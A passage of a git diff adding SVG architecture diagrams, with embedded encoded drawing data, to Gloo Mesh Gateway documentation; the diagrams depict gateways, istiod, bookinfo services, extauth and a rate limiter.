4rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg new file mode 100644 index 0000000000..cc2b6a67cf --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVMqybfve39cbqPP6986OVx1MDAwZvdNRSZFRVTU2zdcYmZQJlx1MDAxOUQ4cb77XclcdTAwMWUsqMqimKTobfVcdTAwMGVspchKMtfwWyvX8D9/XHUwMDFkXHUwMDFk/T2c9Kp//5+jv6tcdTAwMWblYqtZ6Vx1MDAxN8d//8f8/b3aXHUwMDFmNLtcdTAwMWR4i8x+XHUwMDFmdEf98uzOxnDYXHUwMDFi/J///u9ir+d8fsopd9s/PlltVdvVznBcdTAwMDD3/l/4/ejof2avrmf1q+VhsVNvVWdcdTAwMWaYvfX5OCn44l+vup3Zo1x1MDAxOdJcXEuu8e9cdTAwMWKag1x1MDAxODxuWK3Au7Via1D9fMf86e9pq1V+aMbq96X286SeL2dTd5Pbz6fWmq1Wbjhp/fhexXJj1HfNaTDsd1+r+WZl2ID38cLff39u0IVcdTAwMTX4/FS/O6o3OtWB+f7o91+7vWK5OZyYcdDnX38sgvu+XHUwMDBm+E1cdMZcdTAwMWONidCKmVf2+13zeUKUcCiiXHUwMDE4XHUwMDExTDWVi/M667a6fTOv/2KaIy4/Z1Yqll/rML1O5fNcdTAwMWVcdTAwMTitVFx1MDAxNZ/3jH9+W0KIg1x1MDAxOVFcXM5ehfrclEa1WW9cZs09XG47v26YvdLPqVRnW4I1Ulxuw7/fb5jn91KVT+KY/VWNy6+N2GXtXHUwMDBl0cdcdTAwMTOVzTyKflv8/fP9/7e48I1iv/dzgf+efVx1MDAxZNdXNL+eL1x1MDAxMqCbXGJdxJErvVckPn5u9586p9c3pDrqXHUwMDE0XHUwMDFlf481R7HFfr87/vv3O//7n6Bx31tF9lFLUn42uKZcdTAwMWaj51x1MDAxM1JIlMON6/nKo16l+IO8sWBKwZJLzJH+/X6r2XmFNzujVusv18xWYznFrCyHgYZcdTAwMTTHQtLQPFx1MDAxNyek/1SOXHUwMDE1ZeHqcaJO38+HhVT263hcdTAwMGWvyXOcOlx1MDAxOLhKMmFe6TzPwV9cdTAwMWMqXHUwMDA1YpwzxTViVqZDStZ4KZjpMCkp5cd0SDnEdTHhw3REONp9MVx1MDAwZtNcdTAwMDHHYSwoVTvjuoH5ZU2uu7+7XHUwMDFijDKlartxU8qPaHY0vjn+2Fx1MDAwMtddXHJOTq+fr3LxSvWCXGZFgeBEu1x1MDAxZmmuc23QXHUwMDAy11x1MDAxMc5cdTAwMDVXmvLQTDesnEx6qv1y3v84T+fKr7XJNItcIs90SiEgZoJcdTAwMDRl8MrFPNNcdTAwMTlFx7VcIkJKiVx1MDAxNCbcynSbaDpMXGKa4yjlw3TKy2VIXHUwMDFh0ShcdTAwMTWJpG57eMueXHUwMDE3842nTCpX71xu9YEmhZfpXHUwMDE2uOxRkHr6vplBqsin5TNCmrhcdTAwMWaLNJdcdGbjMsxcdTAwMDC1IK2lXGbNZuI9XWu8XHUwMDE2X87O+Vx1MDAxOSmWT1tvzYyKOptp0Fx1MDAwNy42XHUwMDEzXHUwMDBieJJiXHUwMDFkks32r9uIlEJLgnbHdHtSbfthXHUwMDBl6VrIXHUwMDA15lx1MDAwMFxypFxiVzi8XG5qVS7Ob+OZu+Nqp9mf3p/HxE1cdTAwMTNHnjc40Vx1MDAwZehaSVx1MDAxMYZXouZ5g1xi5KBwvDG7XHUwMDAyeWPYL3ZcdTAwMDa9Ylx1MDAxZkjJy1x1MDAxZkrLedr3slx1MDAwN1CBI1xcXHUwMDE3X+RcdTAwMGVMlERCXHUwMDEzsTPu2EQlqWx1nHkvXHUwMDE2Plx1MDAxYcNW6WOKSmxwXHUwMDFiUnVcdTAwMDSqpOvTkVx1MDAxOI/x6fRMTotcdTAwMWbJc5o+jie3MO5cdTAwMDbm4X64mWNt42awXHUwMDA2uJRMh9d0qll8LFx1MDAxNdqvt92p6jy8JZR8XHUwMDFkXHUwMDFlR52bXHUwMDE1VzxcdTAwMWHcrOhybsZcdTAwMWX+ZVhRYOL9QcqvXHUwMDA2Z1jaKFx1MDAxNmPEJFx1MDAxMW6aXqqAqtlLfPd6fZtO9cmAXFwk8qnGNPIkq5F0mNVcdTAwMDaimFx1MDAxZlxmOMNcdTAwMWP+SLn+s/xcdTAwMGVcdTAwMDenJlx1MDAwNLNaREBcdTAwMDdcdTAwMTI0XHUwMDA1XHUwMDE24T3syXrj4n2i2PTtZlxcfSrnS/l+f1x1MDAxMH1cdTAwMGY7+aEnNMaaKrVgXHUwMDExXHREXHUwMDFjhqhkoEKkYnZn30Z+XHUwMDA3KdhcdTAwMWNDUS/PUZfi+MlkjFKJXHUwMDE42yGTbYLxLtJcdTAwMTfpp9MzWXj5eH7pZc4mfcHOo8xcZpxcbiszYCwl11KEXHUwMDA3Te9cdTAwMGZx+TS5wtd3V1x1MDAxN723k5SmZHpcdTAwMTZ1XHKkgVx1MDAwZlx1MDAwMkCTXHUwMDAwXHUwMDAzKSRo2kBcdTAwMDNJhJZcdTAwMDEmTLyASUht9Fx1MDAxNWc744Y/ylx1MDAxZiCw/SBIXHUwMDAxXHUwMDE2Q0iuoFx1MDAxYc7jz3Gg/5PUWZyd3j1+PCBy8XBcdTAwMDDcoFx1MDAwMrhBXG7qmFNoplx1MDAxOFx1MDAwNfWwM2bwwV+A0ZD78py2aiExXHUwMDAxOFx1MDAxOU1meOvg12kxPUgm8yX0mG/cpt7Oe1FmXHUwMDA2zq2qXHUwMDAxU4JcdTAwMTXXmIRXXHK4mEyfXsXY9VmlmlwiLzTHemcxXHUwMDBiMyxcdTAwMTD1PCssopFcdTAwMWSyXHUwMDAyQSyAXHUwMDE1KJchTVx1MDAxM4BbVV1cdTAwMGXmhVKVlSolXHUwMDFmmFx1MDAwNCjJQva/WYN7UFx1MDAxMmaII4l3aElvwlxupfNk6q72kutcclxiukueI1l/PT71Z4Vh9WNcdTAwMTjWXHUwMDEykcNmaVCdKpJ+bLZcdTAwMWXbtePqI2VbsHDOXHUwMDBi2TOcYelxt5TBN49DfZH8yG1h3PJ7KSFjndOXuybNqeTk7uXsvLSFcXe0vN/DmoCqwclcdLmenD6o01x1MDAwNi691lx1MDAxZq5cdTAwMGI5vNGezc3iP2G/SMjpjti4Mnm+eWW343g/e90+ezvLdvesdOa+6Jy+sTvDXHUwMDE4MUJcdTAwMTax8OAreP+jXG6+XGJcbjqNoTPwXHUwMDE1RuPUZtf6/lvssih+q1x1MDAxOfY5nZ9qRlxioFx1MDAwM+NB2JuaWYs8P6mg21x1MDAxOeaa01x1MDAxZq6fub/Gi+1mazK3kTO6hSk1O/U+zO7on05cdTAwMWRcdTAwMWU4Lk7cyzyownNmsZrzXHUwMDFmPGk1652Z0IeZV/tz9D9slout3ze0m5WKXHUwMDFikJVhNkVcdTAwMTizn1xug6O6/Wa92Sm27lx1MDAxNib7a6pcdTAwMWLAQW21jYRmmlLFwqPBXuNdx1x1MDAxZY+r73VcdTAwMTa/Lt1M5WlcdTAwMTHTyKNBXHUwMDEywJuM0+iiQa7AelJcbkfTMorTS9F6unuhXHRcdTAwMTWvXHUwMDE13plcdTAwMWN34+1vOLgtOLij5d3RsPihU1x1MDAxNuWHQumlmj9DJ4nsKVx1MDAxYV/9cauw9WGXoUz/XHUwMDA37lx1MDAxMVxyXG5ijVx1MDAwZcXMhNtcdTAwMWJBXHUwMDFiWt9cdTAwMDSvZ3TRYJBjmvGwjukvQoNYc8FcdTAwMDGj/1FosFpcdTAwMWNcZsfVwXBPcHBcdJBahIO/Z7s5XHUwMDFllCrAXFxDXGIzLUj4pIlcbn2qYYJQZnxyeXky7vfuaaK3XHUwMDBlIPzKlFx0yVx1MDAxZOKX/WM+T1x1MDAxMdFcdTAwMGXmVFx1MDAxMUqJoEJZuTNErM228aBcdTAwMDRbm0hEoulcdTAwMWU86bevr9Wzks3a3TDRLVx1MDAxNcrPZ1x1MDAxNk/5N1x1MDAxZVxcfdxcdTAwMWQt72Fccpsvn1x1MDAxNodvJcTvh6lSLIknk2Ls7HtxN1x1MDAxZHZcdTAwMTnM9H/gXHUwMDFlYaai1lxicIywwVWrpEdcdTAwMDSvZ0Rhplx1MDAxMlxuXHUwMDA16TEmXHUwMDAwhP7WY3phXjtGmcSbXHUwMDAywYXGSLD96a59+Fx1MDAxY1x1MDAwN8Nmt+KLLF0hpFtFlktcdTAwMTCZx9H4Y4ZcdTAwMWLgSVdcdTAwMDCYJ1x0lyFcdTAwMTNuQMPHwpbu1OQ0XW6/tU/T6UH5lTZjz7awvIjgSU2wdpRCmlx1MDAxM1xury5v6lx1MDAwZj6kxCGCacpcdTAwMTiVTOqNgrftUXlrXHUwMDAySlx1MDAwMTaqYFx1MDAxNO2NKYPUXFxzcpNghVfRvz2eZqaZ+5R+zr9+XHUwMDAzym1cdTAwMDHKXHUwMDFkLe+Ohn3QWa2ount5fb7s19U4NnpcdTAwMWK/bGFcdTAwMTUyTXTclo2n+5f7q9y7aFx1MDAxZItqo7WFce9QWdaLqH+BXHUwMDFmhvfFRFxmJfBbZ1x1MDAwYuOKk5GeZG5ytXbhg46KMf3WOOFbXHUwMDE4NzHKnuduYlx1MDAwZpfPJ2JSJVx1MDAxZvKleXnxx1HZ1oddhqz9XHUwMDFmuE9kTYLC7Fx1MDAwMUxcdTAwMTKCwlx1MDAxZudcdTAwMDevZ0SRtSaEXHUwMDA1anTpyN9cdTAwMWFdXHUwMDA1XHUwMDE01fhcIlx1MDAwNy7sXHUwMDBiQ0pztbtcdTAwMDTKXGJi60Sr2z3KVFx1MDAwN42jfzrF+tz6fYFcdTAwMDN3XHRQXYTZn5P9MdW1WFNcdTAwMTBroiRcdTAwMTZcblx1MDAwYs31XG6Rnefdt1x1MDAwZlTpdVx1MDAwYqg21o/Zt8SL4qmosyZcdTAwMDazVlx1MDAwMZ7GXHUwMDFhMWle8Vx1MDAxY29cdTAwMTKOqUPB4FAmJY1cdTAwMTNXXHUwMDBlxFwib2IlWDE40DmQN1x09ym44crK+Fx1MDAxNWqjXHUwMDE5xVHNLdtTXHUwMDBlmC/fq7B8X+p2X5udWvdo3O2/wvaUq76M7zpXW43xh92ejevnJr/I4j7zXG7k8lx1MDAxZivqw+ZcdTAwMThxO5/Pin9gXHUwMDEx3qJcdTAwMGXe40ha1MDkXHUwMDFjXHUwMDE5JmeUIS2Eklx1MDAwYkxOiCOlhJtcdTAwMTjlXGK5jqvWYHK7SVxyXHUwMDAyxFx1MDAwMTHCkFRcdTAwMTIkK/ay+49cdTAwMTQjJrlgXGJcdTAwMTMzXHUwMDE1j4XNODCCwHJ/eW+bsehgWOxcdTAwMGZPm51Ks1OH9z6FyK96ialcdTAwMTBFNGZMXVx1MDAxZc1cdTAwMTJcdTAwMWZcdTAwMWRcblunXHUwMDE54phI2FrEqeuuerFnlpU4XHUwMDAyXHUwMDExiUyZQJPlRcjPO36D7L+rnUqISVx1MDAwNSZWuyaFXHUwMDFkoCRCKMdGZVxi8lx0gd1zYlRcdTAwMDD0I7NkXHUwMDE1xahnTq3iYHjWbbebQ1jkm26zM/RdzFx1MDAxM8P3jWrRI1DgO7nfW1x1MDAxNFx1MDAxMD0z4jzVfP7f0SdcdTAwMGLNfvn9///vP753XHUwMDFmW6nbXFxeuv5cdTAwMWPvL/fPlWOFkb2qXHUwMDExgF2FJOHhK7c8Xr5cXE66md6bvuzVcG+SL58nbFx1MDAxNfuiI9pkUDiiXHUwMDEweIt589YqmcxcdTAwMDe7SK/wXHUwMDEyMFx1MDAxM4ap3p17cLfCayN8cVxc68ONwJSDfzqdYrtqh1x1MDAxYWJdXHUwMDFiY1Oo4T/F9TiTXHUwMDA1hIVcYlx1MDAxMMNMr1x1MDAwMDra9dhbspmq3taLnfSgoEbT0sko8pypiIOtnKko22I+sZUzqU9cdTAwMDaxlzNNNTRcbjiI7i4yeJN0+j3lTG6J781+RZvt/Wa4nq2hXV9ike2B5E2y6FxuZauDXHUwMDEzx6PK9lI6UnGuXHUwMDExXHUwMDAyMLpYU0OaXFxSrTXhQkiFXFxcdTAwMTVmtsn2YFwiOKZcbo2JxGTMXHUwMDFkovdbXGKAQcTQrJA48L7ESjOPr1x1MDAwMcOHhYnm3F8hta1cdTAwMWFcdTAwMWKL6Hg54lx1MDAwZi5kMWeGXHUwMDAw2lx1MDAxN1x1MDAxNCuEjH1cdTAwMDGr6oX8mDicSCpcdTAwMThcdTAwMDZ4LMEs0Fx1MDAwN1x1MDAwZfltRDZ714e+Vlx1MDAwNP12h1x1MDAwNkV2h1x1MDAwNlx1MDAwMimj2SpB4cHaJbJSRjhgy8JcdTAwMTfVIFRdNVx1MDAxMH+AXHUwMDBiIVx1MDAxZNhcdTAwMTKkQFx1MDAwZVx1MDAxMaRcdTAwMDM8XHUwMDFh25QyxCdIXHUwMDAwOfB0Uz6GgKxcdTAwMTNcdTAwMTJxTyCPJnBcdTAwMDdcdTAwMDUy+XdcYlx1MDAxOZsoXHSGsHOiXHUwMDA0aYS1kFx1MDAxY1x1MDAxM2qqXHUwMDBiSO2664coMaY2XHUwMDAyvIYlXHUwMDAxOVwikdd5XHUwMDEwSrxcdTAwMDVXJpmfXHUwMDEzXHUwMDAxncWQqTpLXHUwMDExpYJIz6QwduTvWYH6XHUwMDEz/N8l31xinfu8h7BXXHUwMDE0b/ZQRDuE4rBcdTAwMDOA1Fn4gPrjpFTNSem0nZ92x7mkPM3rVs1cItxcInQqQ6VyXHUwMDA0/n3NSzeChYM4qFx1MDAxNVC1XHUwMDE0a7qRvzb4UEaGOpThgiD4VjqaeZV7qlW+mfX0MzFlXHUwMDEwtVNcdTAwMTmfea1cdGJcdTAwMDJMJVx1MDAxMClaSiRxeD5cdTAwMGbe5IiCXHUwMDE4KjgwMthCSius2UKzXHUwMDEx0CRcdTAwMGVDTFx1MDAwMaRcdTAwMTNcdTAwMTKjjY5eXHUwMDAzXFyX1IH3lFx0JVx1MDAwNrwkmE+DXHUwMDFmQVx1MDAxZEaI5lhR4HOferVSclx1MDAwNd9jh/VcdTAwMGZcIlx1MDAwMWGCdclcdTAwMWNcXKBGbcJ6XCJA/1hr4YNcdTAwMTaow2FFXHUwMDAxLVx1MDAxMI2F+DRcdTAwMGZWxDDBXHUwMDFkP+Ymhc1Ri1x1MDAxMJwzSZVcdTAwMTTMe1JkXCJvKfzHXHUwMDE0I2DKXHUwMDExwjyTOihcYmOnbnMt0vWKXHUwMDAwJrhMXHUwMDA0s6NcdTAwMTh4XHUwMDFhU5rI8I6g85R4LN7cNnDh4la3+1x1MDAxN7l+o1x1MDAxYl9Hun1hnVxiJYJcbuhcdC5cdTAwMWPKtlUnYjEwbLMwbi0xplpENIp7Os5cdTAwMWaLdpK38bEqjlx1MDAxYpP4XHUwMDA3x3F/OFx1MDAxM4Uo7kSrdJ1MPaPEVL3lNT7ld5WXty2My1x1MDAxM8OHeqn8XrjN64/hw9W4OkmdbGHcXHUwMDFkLe9cdTAwMWY+7LKwXf9cdTAwMDduXHUwMDA3iFx1MDAwN1xucev5XHUwMDFktqfhKFx09jDDPDw6XHJez4haoVx1MDAxYWR3kFx1MDAwNId31bYk+LKw3aVS3Jsgx1x1MDAwNOJE8j+rKFev362MysNese5vL+4qS25cdEBZtFwi3dPcXHUwMDAwY0mrXHUwMDFinDCwnFx1MDAxOJXhg19epmiSlFx1MDAwZm+5TOH2bsxcdTAwMWbSb6mxLbI+Klx1MDAxMEtcdTAwMDZcdTAwMTZmlVxubY9Bt1xmsTDYPZxcdMqjibHQVWfQ/EhcdTAwMTWP31RdTHLX+XSxYylvuYpa3dGwh1x1MDAwNt36lXSxWalcdTAwMGZ45f063ynWnlLk7GlcdTAwMGLjXHUwMDFl1q5cdTAwMWTKsMugm/9cdTAwMDP3XHTdZEDBbqxcYlx1MDAxNpSF11x1MDAwYsHrXHUwMDE5VegmXHUwMDAzXHUwMDBiqEqttmd8r1HMwNOxzoTGYi722M9xXHUwMDBmWK1SXHUwMDA1XHUwMDA01Vx1MDAxYfjjNDV3+9Zw2lx1MDAxMpSziNN+TXF9jCbsjVWwUEiYSKDwzDhcdTAwMThk4uU4SpZwXHUwMDFiN1x1MDAxMsWz6WUyL1wiXHUwMDBl0pRcYlx1MDAwMmlKi+iCNMWMXHRcdTAwMTXV+li1xqBcdTAwMTCblJ7vLmTuLF25qr5U6GRzXHUwMDA1eljD7lxuS+1ous1J50KQQVwiec9f31x1MDAwNoP+1b1cdTAwMTiL6E73UIZdhtH8XHUwMDFmuEeMJlx1MDAxOFr86ydG08LUuFmhw1DwekZcdTAwMTWjKVx1MDAxMYTRNGZ7xWhcdTAwMWV/XHUwMDFhp1RJyffYY2tcdTAwMGZcdTAwMTitX1x1MDAxYzY7dVx1MDAwYkbbkS9tXHTIWcRov6a4XHRGs59VXG7OTSDGXG4x63l994ifK+l7rWM8dz8ontRt9lJEIFx1MDAxYdxBUaAjXHJHXHUwMDE2o2mtXHUwMDA1pXiHiSubQLQqenyIj1x1MDAxZSr3w7t6r9C7Kz2jXG7ZXFx/XHUwMDFl1rC7Oqnc0XR3XHUwMDA10Vx1MDAwZWvTtj7sMojm/8B9QjRqTzJgUmIqmFxmf1x1MDAwMlx1MDAxYbyeXHUwMDExhWhGMVx1MDAwNDWSl1pHy4+GmULanH39UY60fvW9WVx1MDAxZH+tI21cdMzxgLSfU1xm5MSAhFx1MDAxZnvTIYJcdTAwMTFcdTAwMTFcYkgzfMJP8LnOSrxIvoxcdTAwMTe1RsQx3TY1XHUwMDEyiOPFtEKiXHUwMDFjSThcdTAwMTPIxNWpxWltj1x1MDAxMVx1MDAxNXU4XHUwMDE1XFxyJlx1MDAxNVxc2idcXJZcdTAwMTFHIzBgXHUwMDExXHUwMDE2JufTy6WmKlx1MDAwMWV0h1xyXCJcIlx1MDAxMS5cdTAwMWJcdTAwMWNcdTAwMTNw9Fx1MDAxOZlqcuU4RlxmIbD7hSBcbn06jY9cXPGyXHUwMDE0tI6mmJvyy0J5s2tCxctcdTAwMDZ7wOdnRTHGhHFTXHUwMDAxXHUwMDFiK7CCvDmN2lSMZlhcYkUok2C0eyZ1UPGyVuo2l4euP4f7y/1zdfHG7Cd2XFwxLDVaoURiMNyOrHRT0mGYIaqFoMgj3bRjSrAxYVxuyEhqr5C4qXiT2shYKkGpIIXcXHUwMDE1XHUwMDEwP9N/pCNcdTAwMDFjSMLULP1uUbpRYt5ROyxMfljSXHLEiJKmXHUwMDFjklagtpTU1CdcdTAwMTmAOWDFS2A6oakw+Vx1MDAxZetcdLdgVDI/KdM+ylTdNFm02FfiMlx1MDAwN0lTkVx1MDAxM5ZOY8zpYZdospK2uVx1MDAxNol6RdG2JEzN2luBaDBcdTAwMWQ4VeHtqDd8M85wVnm47t/ma/S824rFbFx1MDAwNd0jY0cpWPSAUjCC4pBmVJhsbUxKwEY+olxyIUe7L69ow8Sb28S5XHUwMDA2tmU7LDi3iYMtuELIXHUwMDFjja7krMG41auNbscod5lcdTAwMWFcdTAwMGba0/xHa2ip2/xlXHKTg33Y3H6gpIniXG5cdFx1MDAxYZ7LaPUhfZ1VlWK33p1cZl5GZY1L6lx1MDAwMLhcZlx1MDAwN3BcdTAwMTlcYvuQXuxccrnMy1cgcG2u7d+OXHUwMDBiwPUmiXx/JZeD2GFPXHUwMDA1mDbQOSqgn4/WXFwzuUJcdTAwMTJ9TSdcdTAwMTF5XHUwMDE59FONUe5VkNZFXCIvXCLeplhpXHUwMDFkVH1McLXFNsVbXHUwMDBlu1x1MDAxMZjCvVwiomE3z6hQp29nZ6+9Jsk/pXNCjY4tbTmiXHUwMDEwxPxxkzvps0Y92385vWHJRLJDayFrMlx1MDAwN447adTOmv1q5Vx1MDAxMZ8odtsjx6hK9Vx1MDAxNsbd0fLuaNina9FKJJ5cbnJ02Vx1MDAxZFxcP92rwlu9/8etwtaHXXZY5P/AL1A61pjrXHUwMDAw+EUpXHUwMDA2jUNV+DDP4PWMKvzSWlx1MDAwNmlcdTAwMWMpQta73E+6XHUwMDFj1lx1MDAwMJLN9P6o+J595cstQVS7yZdcdTAwMTOuXHUwMDEzXHUwMDA3b9k4pZBcIjg8k550XHUwMDFlXHUwMDBip4P4jVT3w7S4u1x1MDAxMlx1MDAxZtWCLeguKqBcdTAwMTAoKchCUnR7LLptUIiBM6UpPlx1MDAxNklQ2GD4+SZ/WitNL0R1ev+QJ6/Hlu5cXKso1lx1MDAxZFxye2hY862PT/O1glwiXV6rXvbvaqJcdTAwMTnfRpfew9q1P3zYZZjQ/4F7xITCXkKBMsFcdTAwMTnHK9T3XG5ezqhCQkVpUFx0dIS254TYSvhcdTAwMTBcIqBklDu64lx1MDAwZsCA+8jDW1x1MDAwMp52kIcn7fVMKNFAn5SvUI8q3iXVt15tUiVcdTAwMTe1fLVWYMlixIslKK2CsFx1MDAxZlhv0cV+ICmYqcZcdTAwMTLNIO/hyXBcdTAwMThcdTAwMWaT21Tr9OxcdTAwMDK9aaFcdTAwMWWKXHUwMDE2XHUwMDFm0CpcbvSwht1cdTAwMTVEO6xV+MOHXVx1MDAwNtH8XHUwMDFmuE+IJu1dajBBWmOGw8eVXHUwMDA2r2dUMZrWQVx1MDAxOE1jsVeM5vHTmeBcdTAwMTVEyS474EVcdTAwMTCj7SNcdTAwMGZvXHTI2UFcdTAwMWWesHMjoZiAvbRcdTAwMDJGq1x1MDAxNK6mw1Q6k4ili6OnXHUwMDA3+TagXVtcdTAwMWNkRDCaNq7rIP9cXNiWUXvAaFLB/LiIaFx1MDAwMEMj+f7U68dGXHUwMDAzdnmlxeV7PHH5YfFMreTkOKhhd3Vke1irsDNn4kGtwtaHXeqe833gXrGf/TRIUyy4JOGVTfByRlx1MDAxNPqButGB7jn8dSe2YaCfpFRoLMV3ct+Okd9cdTAwMTLotOXkPm7v5kWQXHUwMDE0XGJcdTAwMTFGwjvKg8+gopr+glxidyg1VZWxSfJaXHUwMDA0flx1MDAxNDlafk12XHUwMDFmJYpyzlx1MDAxMWbUXbssfHZcdTAwMWZcdTAwMDZuIIjRPfZcdTAwMTL9klx1MDAwNJjgXHUwMDEwhqP59D4mTVZcdTAwMWZAZCmwQrvL7lx1MDAwYvarXHUwMDFm2bP7YNe8s/r3Zff5U7e5dpfdx7U1NoxTgUzuUXigXHUwMDExjOGjKt4wRlx1MDAwZVx1MDAxN4qZtjCK0oVGP5JcdTAwMTKH0C9K76OmXHUwMDAxXGZAXHUwMDFiXHRcdTAwMTQgffqiLkvvw/BcdTAwMTZcdTAwMTF6h3EohyXdTK9cdTAwMWZQS4RiRpSirt072nZ2XzAsObJm95FPjXn0703u8ydsc22Y3GeXbEJbTSgwKkzWXHUwMDE4WaFccmugXVx1MDAxZVnJprAjjVDDSlx1MDAwMPF/ft1cdTAwMWYmXHUwMDE0N4WGYWc0x5TsUrBcdTAwMTly1qa7NmOEcOlnT1x1MDAwMVx1MDAxNXBcZpxqWl9cdOJt9yyBbJiQ+l9eliG0XHUwMDE0XHUwMDAxiMRcdTAwMTDjglx1MDAwYqKJ4KCmkU/HMFx1MDAwZeCOXHUwMDFitcXATFx1MDAwMfTm7Vx1MDAxOFx1MDAxNrJcdTAwMTVrkLN9YVbAyVxmc1x1MDAwMkSDwTBX3klRXHUwMDA3rCZhMmtcdTAwMDHjXHSCXHUwMDBlvFx1MDAxM6uVus3loetcdTAwMTXFW+CRhCT2uH5cdTAwMDQ4kmFA66FF3OCD4otasXyH5aieXHUwMDE04/fy9enYXCLiXCJyJKE00Vx1MDAwZUgwXHUwMDBlXHUwMDFiYF4/RetMwFx1MDAwMZ7eYlx1MDAxZZm10fRaR1x1MDAxMlx1MDAxMiwuUEBcdTAwMTFNI1NcdTAwMWb1/ohcdTAwMWOXUPclrd6uk+9vvZeb6Ib2nlx1MDAxN7JnOMPS424pg29cdTAwMWWH+lwi+WFJ8Vlp3PJ7KSFjndOXuybNqeTk7uXsvLSFcXe0vDtcdTAwMWH24S17Xsw3njKpXFy9K9RcdTAwMDeaXHUwMDE0XqZ/3CokUlx1MDAxZq8nonp5UaFDPm5mXHUwMDFmmqKxjfOprU932VmH/1x1MDAwM0POdsTGlcnzzSu7XHUwMDFkx/vZ6/bZ21m2u4VVkOJVpd9cdTAwMWVy97qY11x1MDAwZk8yXHUwMDE2f2knw43rkYW7Pptx+1x1MDAwMFx1MDAxNkOnQaJjJGR4rVx1MDAxYrz9XHUwMDExPZtRmrIgvcvCZtMtXHUwMDFl8+/obFx1MDAwNsCx1myfLdD3cDZcdTAwMDM/iiNYJdfibn42XHUwMDEz0Jl8XHUwMDE5gFxcPJj5Nb9ccvAvt1x1MDAxNl5kXGbsXHUwMDFlvVx1MDAwMvptvYtEv3g6jSXv8qnq3Xms3eBrtSj/SvRLkcOZXHUwMDE0WCPzunAuw+RcdTAwMTZcdTAwMTNcdTAwMTi2jH6VoGAw7bOlUJAywrjQbNKrmEjIkrzMXHUwMDE30499XHUwMDFl4VwiXG6Hhn53tLzfw1x1MDAxZdyw28fUy8Cv/1x1MDAxN9kjmFTYfv5cdTAwMDZcbowxkOOhlVjwNkVcdTAwMTdM8iA1plS0wCRcdTAwMTaEY6LUn5WH14fHXHUwMDFjtZrt5lx1MDAxYz78gnCfJcDMJ9D7c55cdTAwMWJAy4CuK1xuuJJrvkKbysFD5S3BT96PYzf9RoZJenJ5dVx1MDAxYnVwSVSAice2mVx1MDAxZLtlcGlcdTAwMGVcdTAwMTVcdTAwMTQy/1wiiS5lM3Z1cf/2+iDes1x1MDAxN+ru4rRSXHUwMDE4nX6jy22hy10t7/ewf/ywy8Cl/1x1MDAwM/dcYi6ltuYsMcqYJkKEj11ccl7O6IJLXHUwMDFhpMZwxMClklSbfsv7S1TaS1x1MDAxNHml+cVd/IJcdTAwMDGZN4bcTHB9NKloQMFXiVx1MDAxMNFcdTAwMTSFR5P4PNNJ3GRO4iep+k1HjoaPqLxWfYev7NWEpXaI0Iph87